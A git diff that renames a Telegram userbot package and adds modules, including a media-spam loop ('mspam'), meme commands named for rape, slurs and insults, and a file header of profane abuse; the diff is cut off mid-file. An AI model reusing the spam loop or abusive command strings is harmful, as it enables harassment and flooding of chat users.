a/fridaybot/modules/lydiaai2.py b/virtualuserbot/modules/lydiaai2.py similarity index 94% rename from fridaybot/modules/lydiaai2.py rename to virtualuserbot/modules/lydiaai2.py index bf63f2b7..5df72697 100644 --- a/fridaybot/modules/lydiaai2.py +++ b/virtualuserbot/modules/lydiaai2.py @@ -6,22 +6,28 @@ from coffeehouse.api import API from coffeehouse.lydia import LydiaAI +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.modules.sql_helper.lydia_ai_sql import ( + add_s, + get_all_s, + get_s, + remove_s, +) + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.modules.sql_helper.lydia_ai_sql import add_s, get_all_s, get_s, remove_s + if Var.LYDIA_API_KEY: api_key = Var.LYDIA_API_KEY coffeehouse_api = API(api_key) lydia = LydiaAI(coffeehouse_api) - @bot.on(admin_cmd(pattern="(en|re|li)ai$", outgoing=True)) @bot.on(sudo_cmd(pattern="(en|re|li)ai$", allow_sudo=True)) async def lydia_disable_enable(event): if event.fwd_from: return - + catevent = await edit_or_reply(event, "`.....`") input_str = event.pattern_match.group(1) if event.reply_to_msg_id is not None: @@ -100,7 +106,7 @@ async def lydia_disable_enable(event): async def on_new_message(event): if event.chat_id in Config.UB_BLACK_LIST_CHAT: return - + reply = await event.get_reply_message() if reply is not None and reply.sender_id != bot.uid: return diff --git a/fridaybot/modules/lyric.py b/virtualuserbot/modules/lyric.py similarity index 97% rename from fridaybot/modules/lyric.py rename to virtualuserbot/modules/lyric.py index aadb23ec..25bd82f7 100644 --- a/fridaybot/modules/lyric.py +++ b/virtualuserbot/modules/lyric.py @@ -5,8 +5,8 @@ import lyricsgenius from tswift import Song -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd GENIUS = os.environ.get("GENIUS_API_TOKEN", None) diff --git a/fridaybot/modules/markdown.py b/virtualuserbot/modules/markdown.py similarity index 100% rename from fridaybot/modules/markdown.py rename to virtualuserbot/modules/markdown.py diff --git a/fridaybot/modules/mashup.py b/virtualuserbot/modules/mashup.py similarity index 98% rename from fridaybot/modules/mashup.py rename to virtualuserbot/modules/mashup.py index 5fb83512..c82edec8 100644 --- a/fridaybot/modules/mashup.py +++ b/virtualuserbot/modules/mashup.py @@ -7,7 +7,7 @@ from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="mashup ?(.*)")) diff --git a/fridaybot/modules/mask.py b/virtualuserbot/modules/mask.py similarity index 97% rename from fridaybot/modules/mask.py rename to virtualuserbot/modules/mask.py index 42c4d6ef..b6c01d46 100644 --- a/fridaybot/modules/mask.py +++ b/virtualuserbot/modules/mask.py @@ -2,7 +2,7 @@ from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd("mask ?(.*)")) diff --git a/fridaybot/modules/meaning.py b/virtualuserbot/modules/meaning.py similarity index 100% rename from fridaybot/modules/meaning.py rename to virtualuserbot/modules/meaning.py diff --git a/fridaybot/modules/mediadata.py b/virtualuserbot/modules/mediadata.py similarity index 91% rename from fridaybot/modules/mediadata.py rename to virtualuserbot/modules/mediadata.py index efc7e104..f97ad84f 100644 --- a/fridaybot/modules/mediadata.py +++ b/virtualuserbot/modules/mediadata.py @@ -8,16 +8,16 @@ from telegraph import Telegraph -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd telegraph = Telegraph() tgnoob = telegraph.create_account(short_name="Friday 🇮🇳") async def runcmd(cmd: str) -> Tuple[str, str, int, int]: - """ run command in terminal """ + """run command in terminal""" args = shlex.split(cmd) process = await asyncio.create_subprocess_exec( *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE diff --git a/fridaybot/modules/memes.py b/virtualuserbot/modules/memes.py similarity index 97% rename from fridaybot/modules/memes.py rename to virtualuserbot/modules/memes.py index 7cb4234e..d3edf04c 100644 --- a/fridaybot/modules/memes.py +++ b/virtualuserbot/modules/memes.py @@ -23,8 +23,8 @@ from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP -from fridaybot.utils import register +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import register # ================= CONSTANT ================= RENDISTR = [ @@ -655,7 +655,7 @@ @register(outgoing=True, pattern=r"^.(\w+)say (.*)") async def univsaye(cowmsg): - """ For .cowsay module, fridaybot wrapper for cow which says things. """ + """For .cowsay module, virtualuserbot wrapper for cow which says things.""" if not cowmsg.text[0].isalpha() and cowmsg.text[0] not in ("/", "#", "@", "!"): arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) @@ -673,7 +673,7 @@ async def univsaye(cowmsg): @register(outgoing=True, pattern="^:/$") async def kek(keks): if not keks.text[0].isalpha() and keks.text[0] not in ("/", "#", "@", "!"): - """ Check yourself ;)""" + """Check yourself ;)""" uio = ["/", "\\"] for i in range(1, 15): time.sleep(0.3) @@ -714,7 +714,7 @@ async def _(event): @register(pattern="^.slap(?: |$)(.*)", outgoing=True) async def who(event): if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"): - """ slaps a user, or get slapped if not a reply. """ + """slaps a user, or get slapped if not a reply.""" if event.fwd_from: return @@ -735,10 +735,12 @@ async def who(event): async def get_user(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" if event.reply_to_msg_id: previous_message = await event.get_reply_message() - replied_user = await event.client(GetFullUserRequest(previous_message.from_id)) + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) else: user = event.pattern_match.group(1) @@ -768,7 +770,7 @@ async def get_user(event): async def slap(replied_user, event): - """ Construct a funny slap sentence !! """ + """Construct a funny slap sentence !!""" user_id = replied_user.user.id first_name = replied_user.user.first_name username = replied_user.user.username @@ -791,7 +793,7 @@ async def slap(replied_user, event): @register(outgoing=True, pattern="^-_-$") async def lol(lel): if not lel.text[0].isalpha() and lel.text[0] not in ("/", "#", "@", "!"): - """ Ok... """ + """Ok...""" okay = "-_-" for _ in range(10): okay = okay[:-1] + "_-" @@ -827,21 +829,21 @@ async def fun(e): @register(outgoing=True, pattern="^.cry$") async def cry(e): - """ y u du dis, i cry everytime !! """ + """y u du dis, i cry everytime !!""" if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): await e.edit(random.choice(CRI)) @register(outgoing=True, pattern="^.insult$") async def insult(e): - """ I make you cry !! """ + """I make you cry !!""" if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): await e.edit(random.choice(INSULT_STRINGS)) @register(outgoing=True, pattern="^.cp(?: |$)(.*)") async def copypasta(cp_e): - """ Copypasta the famous meme """ + """Copypasta the famous meme""" if not cp_e.text[0].isalpha() and cp_e.text[0] not in ("/", "#", "@", "!"): textx = await cp_e.get_reply_message() message = cp_e.pattern_match.group(1) @@ -877,7 +879,7 @@ async def copypasta(cp_e): @register(outgoing=True, pattern="^.vapor(?: |$)(.*)") async def vapor(vpr): - """ Vaporize everything! """ + """Vaporize everything!""" if not vpr.text[0].isalpha() and vpr.text[0] not in ("/", "#", "@", "!"): reply_text = list() textx = await vpr.get_reply_message() @@ -911,7 +913,7 @@ async def source(e): @register(outgoing=True, pattern="^.str(?: |$)(.*)") async def stretch(stret): - """ Stretch it.""" + """Stretch it.""" if not stret.text[0].isalpha() and stret.text[0] not in ("/", "#", "@", "!"): textx = await stret.get_reply_message() message = stret.text @@ -933,7 +935,7 @@ async def stretch(stret): @register(outgoing=True, pattern="^.zal(?: |$)(.*)") async def zal(zgfy): - """ Invoke the feeling of chaos. """ + """Invoke the feeling of chaos.""" if not zgfy.text[0].isalpha() and zgfy.text[0] not in ("/", "#", "@", "!"): reply_text = list() textx = await zgfy.get_reply_message() @@ -970,14 +972,14 @@ async def zal(zgfy): @register(outgoing=True, pattern="^.hi$") async def hoi(hello): - """ Greet everyone! """ + """Greet everyone!""" if not hello.text[0].isalpha() and hello.text[0] not in ("/", "#", "@", "!"): await hello.edit(random.choice(HELLOSTR)) @register(outgoing=True, pattern="^.kill$") async def killing(killed): - """ Dont Kill Too much -_-""" + """Dont Kill Too much -_-""" if not killed.text[0].isalpha() and killed.text[0] not in ("/", "#", "@", "!"): if await killed.get_reply_message(): await killed.edit( @@ -987,7 +989,7 @@ async def killing(killed): @register(outgoing=True, pattern="^.bt$") async def bluetext(bte): - """ Believe me, you will find this useful. """ + """Believe me, you will find this useful.""" if not bte.text[0].isalpha() and bte.text[0] not in ("/", "#", "@", "!"): if await bte.get_reply_message(): await bte.edit( @@ -998,7 +1000,7 @@ async def bluetext(bte): @register(outgoing=True, pattern="^.rape$") async def raping(raped): - """ Dont Rape Too much -_-""" + """Dont Rape Too much -_-""" if not raped.text[0].isalpha() and raped.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(RAPE_STRINGS) - 1) reply_text = RAPE_STRINGS[index] @@ -1007,7 +1009,7 @@ async def raping(raped): @register(outgoing=True, pattern="^.pro$") async def proo(pros): - """ String for Pros only -_-""" + """String for Pros only -_-""" if not pros.text[0].isalpha() and pros.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(PRO_STRINGS) - 1) reply_text = PRO_STRINGS[index] @@ -1016,7 +1018,7 @@ async def proo(pros): @register(outgoing=True, pattern="^.fuk$") async def chutiya(fuks): - """ String for fhu only -_-""" + """String for fhu only -_-""" if not fuks.text[0].isalpha() and fuks.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(CHU_STRINGS) - 1) reply_text = FUK_STRINGS[index] @@ -1025,7 +1027,7 @@ async def chutiya(fuks): @register(outgoing=True, pattern="^.chu$") async def chutiya(chus): - """ String for Chu only -_-""" + """String for Chu only -_-""" if not chus.text[0].isalpha() and chus.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(CHU_STRINGS) - 1) reply_text = CHU_STRINGS[index] @@ -1034,7 +1036,7 @@ async def chutiya(chus): @register(outgoing=True, pattern="^.thanos$") async def thanos(thanos): - """ String for thanos only -_-""" + """String for thanos only -_-""" if not thanos.text[0].isalpha() and thanos.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(THANOS_STRINGS) - 1) reply_text = THANOS_STRINGS[index] @@ -1043,7 +1045,7 @@ async def thanos(thanos): @register(outgoing=True, pattern="^.abusehard$") async def fuckedd(abusehard): - """ Dont Use this Too much bsdk -_-""" + """Dont Use this Too much bsdk -_-""" if not abusehard.text[0].isalpha() and abusehard.text[0] not in ( "/", "#", @@ -1057,7 +1059,7 @@ async def fuckedd(abusehard): @register(outgoing=True, pattern="^.gey$") async def geys(geyed): - """ Use only for gey ppl -_-""" + """Use only for gey ppl -_-""" if not geyed.text[0].isalpha() and geyed.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(GEY_STRINGS) - 1) reply_text = GEY_STRINGS[index] @@ -1066,7 +1068,7 @@ async def geys(geyed): @register(outgoing=True, pattern="^.abuse$") async def abusing(abused): - """ Dont Abuse Too much bsdk -_-""" + """Dont Abuse Too much bsdk -_-""" if not abused.text[0].isalpha() and abused.text[0] not in ("/", "#", "@", "!"): index = random.randint(0, len(ABUSE_STRINGS) - 1) reply_text = ABUSE_STRINGS[index] @@ -1075,7 +1077,7 @@ async def abusing(abused): @register(outgoing=True, pattern="^.owo(?: |$)(.*)") async def faces(owo): - """ UwU """ + """UwU""" if not owo.text[0].isalpha() and owo.text[0] not in ("/", "#", "@", "!"): textx = await owo.get_reply_message() message = owo.pattern_match.group(1) @@ -1099,35 +1101,35 @@ async def faces(owo): @register(outgoing=True, pattern="^.react$") async def react_meme(react): - """ Make your fridaybot react to everything. """ + """Make your virtualuserbot react to everything.""" if not react.text[0].isalpha() and react.text[0] not in ("/", "#", "@", "!"): await react.edit(random.choice(FACEREACTS)) @register(outgoing=True, pattern="^.shg$") async def shrugger(shg): - r""" ¯\_(ツ)_/¯ """ + r"""¯\_(ツ)_/¯""" if not shg.text[0].isalpha() and shg.text[0] not in ("/", "#", "@", "!"): await shg.edit(random.choice(SHGS)) @register(outgoing=True, pattern="^.runs$") async def runner_lol(run): - """ Run, run, RUNNN! """ + """Run, run, RUNNN!""" if not run.text[0].isalpha() and run.text[0] not in ("/", "#", "@", "!"): await run.edit(random.choice(RUNSREACTS)) @register(outgoing=True, pattern="^.noob$") async def metoo(hahayes): - """ Haha yes """ + """Haha yes""" if not hahayes.text[0].isalpha() and hahayes.text[0] not in ("/", "#", "@", "!"): await hahayes.edit(random.choice(NOOBSTR)) @register(outgoing=True, pattern="^.rendi$") async def metoo(hahayes): - """ Haha yes """ + """Haha yes""" if not hahayes.text[0].isalpha() and hahayes.text[0] not in ("/", "#", "@", "!"): await hahayes.edit(random.choice(RENDISTR)) @@ -1173,7 +1175,7 @@ async def _(event): @register(outgoing=True, pattern="^.mock(?: |$)(.*)") async def spongemocktext(mock): - """ Do it and find the real fun. """ + """Do it and find the real fun.""" if not mock.text[0].isalpha() and mock.text[0] not in ("/", "#", "@", "!"): reply_text = list() textx = await mock.get_reply_message() @@ -1198,7 +1200,7 @@ async def spongemocktext(mock): @register(outgoing=True, pattern="^.clap(?: |$)(.*)") async def claptext(memereview): - """ Praise people! """ + """Praise people!""" if not memereview.text[0].isalpha() and memereview.text[0] not in ( "/", "#", @@ -1222,7 +1224,7 @@ async def claptext(memereview): @register(outgoing=True, pattern="^.bt$") async def bluetext(bt_e): - """ Believe me, you will find this useful. """ + """Believe me, you will find this useful.""" if not bt_e.text[0].isalpha() and bt_e.text[0] not in ("/", "#", "@", "!"): if await bt_e.get_reply_message(): await bt_e.edit( @@ -1293,7 +1295,7 @@ async def let_me_google_that_for_you(lmgtfy_q): @register(outgoing=True, pattern=r".yt_dl (\S*) ?(\S*)") async def download_video(v_url): - """ For .yt_dl command, download videos from YouTube. """ + """For .yt_dl command, download videos from YouTube.""" if not v_url.text[0].isalpha() and v_url.text[0] not in ("/", "#", "@", "!"): url = v_url.pattern_match.group(1) quality = v_url.pattern_match.group(2) @@ -1466,7 +1468,7 @@ async def hi(event): @register(pattern=".type(?: |$)(.*)") async def typewriter(typew): - """ Just a small command to make your keyboard become a typewriter! """ + """Just a small command to make your keyboard become a typewriter!""" if not typew.text[0].isalpha() and typew.text[0] not in ("/", "#", "@", "!"): textx = await typew.get_reply_message() message = typew.pattern_match.group(1) @@ -1528,7 +1530,7 @@ async def typewriter(typew): \n\n.owo\ \nUsage: UwU\ \n\n.react\ -\nUsage: Make your fridaybot react to everything.\ +\nUsage: Make your virtualuserbot react to everything.\ \n\n.slap\ \nUsage: reply to slap them with random objects !!\ \n\n.cry\ diff --git a/virtualuserbot/modules/memevoice.py b/virtualuserbot/modules/memevoice.py new file mode 100644 index 00000000..440a31fd --- /dev/null +++ b/virtualuserbot/modules/memevoice.py @@ -0,0 +1,58 @@ +# Credits to @spechide and his team for @TROLLVOICEBOT +# made by @kraken_the_badass from the snippets of waifu AKA stickerizerbot.... +# kang karega kya madarchod? +# aukaat h bsdk teri...jake baap ka loda chus ke aa.... + + +import re + +from virtualuserbot import bot + +from ..utils import admin_cmd + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + + """Remove emojis and other non-safe characters from string""" + + return re.sub(IF_EMOJI, "", inputString) + + +@borg.on(admin_cmd(pattern="mev(?: |$)(.*)")) +async def nope(kraken): + hell = kraken.pattern_match.group(1) + if not hell: + if kraken.is_reply: + (await kraken.get_reply_message()).message + else: + await kraken.edit( + "`Sir please give some query to search and download it for you..!`" + ) + return + + troll = await bot.inline_query("TrollVoiceBot", f"{(deEmojify(hell))}") + + await troll[0].click( + kraken.chat_id, + reply_to=kraken.reply_to_msg_id, + silent=True if kraken.is_reply else False, + hide_via=True, + ) + + await kraken.delete() diff --git a/fridaybot/modules/memify.py b/virtualuserbot/modules/memify.py similarity index 98% rename from fridaybot/modules/memify.py rename to virtualuserbot/modules/memify.py index c4401fd3..391759a6 100644 --- a/fridaybot/modules/memify.py +++ b/virtualuserbot/modules/memify.py @@ -9,7 +9,7 @@ from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/fridaybot/modules/mention b/virtualuserbot/modules/mention similarity index 84% rename from fridaybot/modules/mention rename to virtualuserbot/modules/mention index 1ede88c4..f8854548 100644 --- a/fridaybot/modules/mention +++ b/virtualuserbot/modules/mention @@ -13,9 +13,9 @@ async def _(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() if previous_message.forward: - replied_user = previous_message.forward.from_id + replied_user = previous_message.forward.sender_id else: - replied_user = previous_message.from_id + replied_user = previous_message.sender_id else: await event.edit("reply To Message") user_id = replied_user diff --git a/fridaybot/modules/mention.py b/virtualuserbot/modules/mention.py similarity index 83% rename from fridaybot/modules/mention.py rename to virtualuserbot/modules/mention.py index a6796772..23cec2d3 100644 --- a/fridaybot/modules/mention.py +++ b/virtualuserbot/modules/mention.py @@ -12,9 +12,9 @@ async def _(event): if event.reply_to_msg_id: previous_message = await event.get_reply_message() if previous_message.forward: - replied_user = previous_message.forward.from_id + replied_user = previous_message.forward.sender_id else: - replied_user = previous_message.from_id + replied_user = previous_message.sender_id else: await event.edit("reply To Message") user_id = replied_user diff --git a/fridaybot/modules/mf.py b/virtualuserbot/modules/mf.py similarity index 96% rename from fridaybot/modules/mf.py rename to virtualuserbot/modules/mf.py index 2b052469..97215b74 100644 --- a/fridaybot/modules/mf.py +++ b/virtualuserbot/modules/mf.py @@ -2,8 +2,8 @@ from telethon import __version__, functions -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="mf ?(.*)", allow_sudo=True)) # pylint:disable=E0602 diff --git a/fridaybot/modules/mirrorace.py b/virtualuserbot/modules/mirrorace.py similarity index 100% rename from fridaybot/modules/mirrorace.py rename to virtualuserbot/modules/mirrorace.py diff --git a/fridaybot/modules/misc.py b/virtualuserbot/modules/misc.py similarity index 88% rename from fridaybot/modules/misc.py rename to virtualuserbot/modules/misc.py index 45c07fb3..3385b223 100644 --- a/fridaybot/modules/misc.py +++ b/virtualuserbot/modules/misc.py @@ -10,13 +10,13 @@ from random import randint from time import sleep -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register @register(outgoing=True, pattern="^.random") async def randomise(items): - """ For .random command, get a random item from the list of items. """ + """For .random command, get a random item from the list of items.""" if not items.text[0].isalpha() and items.text[0] not in ("/", "#", "@", "!"): itemo = (items.text[8:]).split() index = randint(1, len(itemo) - 1) @@ -31,7 +31,7 @@ async def randomise(items): @register(outgoing=True, pattern="^.sleep( [0-9]+)?$") async def sleepybot(time): - """ For .sleep command, let the fridaybot snooze for a few second. """ + """For .sleep command, let the virtualuserbot snooze for a few second.""" message = time.text if not message[0].isalpha() and message[0] not in ("/", "#", "@", "!"): if " " not in time.pattern_match.group(1): diff --git a/fridaybot/modules/mmf.py b/virtualuserbot/modules/mmf.py similarity index 98% rename from fridaybot/modules/mmf.py rename to virtualuserbot/modules/mmf.py index d841a1d2..af8fbfb5 100644 --- a/fridaybot/modules/mmf.py +++ b/virtualuserbot/modules/mmf.py @@ -17,7 +17,7 @@ from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import MessageMediaPhoto -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd sedpath = Config.TMP_DOWNLOAD_DIRECTORY diff --git a/fridaybot/modules/moon.py b/virtualuserbot/modules/moon.py similarity index 100% rename from fridaybot/modules/moon.py rename to virtualuserbot/modules/moon.py diff --git a/virtualuserbot/modules/movie_recomendation.py b/virtualuserbot/modules/movie_recomendation.py new file mode 100644 index 00000000..6a02689b --- /dev/null +++ b/virtualuserbot/modules/movie_recomendation.py @@ -0,0 +1,84 @@ +import re + +import requests as HTTP +from bs4 import BeautifulSoup as SOUP + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="rmovie (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + + def main(emotion): + if emotion == "Sad": + urlhere = "http://www.imdb.com/search/title?genres=drama&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Anticipation": + urlhere = "https://www.imdb.com/search/title/?genres=sci-fi" + + elif emotion == "Fear": + urlhere = "http://www.imdb.com/search/title?genres=sport&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Enjoyment": + urlhere = "http://www.imdb.com/search/title?genres=thriller&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Trust": + urlhere = "http://www.imdb.com/search/title?genres=western&title_type=feature&sort=moviemeter, asc" + + elif emotion == "Romantic": + urlhere = "https://www.imdb.com/search/title/?genres=romance" + + elif emotion == "Comedy": + urlhere = "https://www.imdb.com/search/title/?genres=comedy" + + response = HTTP.get(urlhere) + + data = response.text + soup = SOUP(data, "lxml") + title = soup.find_all("a", attrs={"href": re.compile(r"\/title\/tt+\d*\/")}) + return title + + emotion = input_str + a = main(emotion) + count = 0 + sed = "" + if emotion == "Disgust" or emotion == "Anger" or emotion == "Surprise": + for i in a: + tmp = str(i).split(">;") + if len(tmp) == 3: + lol = tmp[1][:-3] + sed += lol + "\n" + if count > 13: + break + count += 1 + + else: + for i in a: + tmp = str(i).split(">") + if len(tmp) == 3: + lol = tmp[1][:-3] + sed += lol + "\n" + if count > 11: + break + count += 1 + await event.edit( + f"Below Are Your Movie Recommendations\n\nYour Emotion:- {input_str}\nRecommended Movie List:- {sed}", + parse_mode="HTML", + ) + + +CMD_HELP.update( + { + "movie_recommendation": "**Movie Recommender**\ +\n\n**Syntax : **`.rmovie `\ +\n**Usage :** Recommends Movies According To Your Emotion.\ +\n\n**Example : **`.rmovie Sad`\ +\nThis above syntax shows recommended mobies for a sad person.\ +\n\n**Note : ** Emotions are case sensitive.\ +\n\n\n**Available Emotions : ** `Sad`\n`Trust`\n`Fear`\n`Enjoyment`\n`Romantic`\n`Comedy`\n`Anticipation`" + } +) diff --git a/fridaybot/modules/mp3converter.py b/virtualuserbot/modules/mp3converter.py similarity index 98% rename from fridaybot/modules/mp3converter.py rename to virtualuserbot/modules/mp3converter.py index 8d29acc5..fd045afe 100644 --- a/fridaybot/modules/mp3converter.py +++ b/virtualuserbot/modules/mp3converter.py @@ -6,7 +6,7 @@ import time from datetime import datetime -from fridaybot.utils import friday_on_cmd, progress +from virtualuserbot.utils import friday_on_cmd, progress @friday.on(friday_on_cmd(pattern="convert (.*)")) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/mspam.py b/virtualuserbot/modules/mspam.py new file mode 100644 index 00000000..cf0a5dd5 --- /dev/null +++ b/virtualuserbot/modules/mspam.py @@ -0,0 +1,52 @@ +# Written By Inuka Asith for VirtualUserbot + +from virtualuserbot import pro + +from ..utils import admin_cmd + +if pro == "True": + + @bot.on(admin_cmd(pattern="mspam (.*)")) + async def tiny_pic_spam(e): + + sender = await e.get_sender() + me = await e.client.get_me() + + if not sender.id == me.id and not FULL_SUDO: + + return await e.reply("`Sorry sudo users cant access this command..`") + + try: + + await e.delete() + + except: + + pass + + try: + + counter = int(e.pattern_match.group(1).split(" ", 1)[0]) + + reply_message = await e.get_reply_message() + + if ( + not reply_message + or not e.reply_to_msg_id + or not reply_message.media + or not reply_message.media + ): + + return await e.edit("```Reply to a pic/sticker/gif/video message```") + + message = reply_message.media + + for i in range(1, counter): + + await e.client.send_file(e.chat_id, message) + + except: + + return await e.reply( + f"**Error**\nUsage `!mspam reply to a sticker/gif/photo/video`" + ) diff --git a/fridaybot/modules/mtn.py b/virtualuserbot/modules/mtn.py similarity index 95% rename from fridaybot/modules/mtn.py rename to virtualuserbot/modules/mtn.py index 5b6f34a7..7f243cf4 100644 --- a/fridaybot/modules/mtn.py +++ b/virtualuserbot/modules/mtn.py @@ -9,7 +9,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) @@ -89,11 +89,10 @@ async def _(event): await event.edit(animation_chars[i % 19]) - CMD_HELP.update( { - "mtn": "**MTN**\ -\n\n**Syntax : **`.mtn `\ + "netboost": "**Dialog and Mobitel**\ +\n\n**Syntax : **`.Dialog ` ,`.Mobitel`\ \n**Usage :** Funny prank plugin." } ) diff --git a/fridaybot/modules/musicdl.py b/virtualuserbot/modules/musicdl.py similarity index 90% rename from fridaybot/modules/musicdl.py rename to virtualuserbot/modules/musicdl.py index cfebaf63..91a4a26a 100644 --- a/fridaybot/modules/musicdl.py +++ b/virtualuserbot/modules/musicdl.py @@ -7,8 +7,8 @@ ) from telethon.tl.functions.messages import ImportChatInviteRequest -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("sdd ?(.*)")) @@ -37,7 +37,7 @@ async def _(event): await borg.send_file( event.chat_id, songh, - caption="🔆**Here's the requested song!**🔆\n`Check out` [Friday fridaybot](https://github.com/StarkGang/FridayUserbot)", + caption="🔆**Here's the requested song!**🔆\n`Check out` [Friday virtualuserbot](https://github.com/StarkGang/FridayUserbot)", ) await event.delete() except YouBlockedUserError: diff --git a/fridaybot/modules/mute.py b/virtualuserbot/modules/mute.py similarity index 98% rename from fridaybot/modules/mute.py rename to virtualuserbot/modules/mute.py index 647ee632..a3acb07f 100644 --- a/fridaybot/modules/mute.py +++ b/virtualuserbot/modules/mute.py @@ -14,8 +14,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute @command(outgoing=True, pattern=r"^.mute ?(\d+)?") diff --git a/fridaybot/modules/muth.py b/virtualuserbot/modules/muth.py similarity index 96% rename from fridaybot/modules/muth.py rename to virtualuserbot/modules/muth.py index 53556409..0d766059 100644 --- a/fridaybot/modules/muth.py +++ b/virtualuserbot/modules/muth.py @@ -6,7 +6,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/nakal.py b/virtualuserbot/modules/nakal.py similarity index 98% rename from fridaybot/modules/nakal.py rename to virtualuserbot/modules/nakal.py index 435e889f..8b2c209a 100644 --- a/fridaybot/modules/nakal.py +++ b/virtualuserbot/modules/nakal.py @@ -14,7 +14,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/fridaybot/modules/nekobot.py b/virtualuserbot/modules/nekobot.py similarity index 98% rename from fridaybot/modules/nekobot.py rename to virtualuserbot/modules/nekobot.py index fdd9465f..a9a44899 100644 --- a/fridaybot/modules/nekobot.py +++ b/virtualuserbot/modules/nekobot.py @@ -5,7 +5,7 @@ import requests from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd("ttt ?(.*)")) diff --git a/fridaybot/modules/news.py b/virtualuserbot/modules/news.py similarity index 93% rename from fridaybot/modules/news.py rename to virtualuserbot/modules/news.py index 5c6641a9..db9d62ab 100644 --- a/fridaybot/modules/news.py +++ b/virtualuserbot/modules/news.py @@ -5,9 +5,9 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from var import Var +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd newslog = Var.NEWS_CHANNEL_ID diff --git a/fridaybot/modules/ninja.py b/virtualuserbot/modules/ninja.py similarity index 94% rename from fridaybot/modules/ninja.py rename to virtualuserbot/modules/ninja.py index 17426c3f..69dadff2 100644 --- a/fridaybot/modules/ninja.py +++ b/virtualuserbot/modules/ninja.py @@ -10,7 +10,7 @@ async def get_target_message(event): - if event.is_reply and (await event.get_reply_message()).from_id == borg.uid: + if event.is_reply and (await event.get_reply_message()).sender_id == borg.uid: return await event.get_reply_message() async for message in borg.iter_messages(await event.get_input_chat(), limit=20): if message.out: diff --git a/virtualuserbot/modules/no_spam_plus_devs.py b/virtualuserbot/modules/no_spam_plus_devs.py new file mode 100644 index 00000000..73f2b63a --- /dev/null +++ 